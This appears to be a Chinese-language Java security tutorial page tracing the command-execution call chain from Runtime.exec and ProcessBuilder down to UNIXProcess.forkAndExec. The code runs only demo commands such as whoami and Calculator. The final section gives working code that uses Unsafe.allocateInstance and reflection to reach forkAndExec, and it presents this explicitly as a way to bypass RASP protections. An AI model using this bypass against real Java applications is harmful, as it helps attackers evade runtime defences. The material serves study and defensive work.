调用链
命令执行调用链:
Runtime.getRuntime().exec()
new ProcessBuilder.start()
ProcessImpl.start()
new UNIXProcess()
UNIXProcess().forkAndExec()
以上任意一个点都可以作为切入口。
Runtime
public static void main(String[] args) throws Exception {
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
ProcessBuilder
public static void main(String[] args)throws Exception {
InputStream in = new ProcessBuilder("whoami").start().getInputStream();
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
ProcessBuilder()
传入的是String... command
不定长参数,构造复杂命令需要注意:new ProcessBuilder("open","-a","calculator").start()
new UNIXProcess
ProcessImpl.start()
调用和new UNIXProcess()
类似,只演示后者即可。
//ProcessImpl.start()中的代码
static byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public static void main(String[] strings)throws Exception {
Class clazz = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String[] commands ={"open","-a","Calculator"};
//以下照搬ProcessImpl.start()中的代码
byte[][] args = new byte[commands.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = commands[i+1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Object object = constructor.newInstance(
toCString(commands[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
}
✨forkAndExec()
RASP如果拦截了UNIXProcess的构造方法,直接return或者抛出异常,可以利用Unsafe类创建对象绕过。
Unsafe.allocateInstance()
允许反射创建对象时不执行其构造函数,从而直接执行UNIXProcess.forkAndExec()
。
public class FE {
static byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public static void main(String[] Args) throws Exception {
String[] strs={"open","-a","Calculator"};
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = Class.forName("java.lang.UNIXProcess");
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
}
}
PREVIOUSReflection
NEXTRmi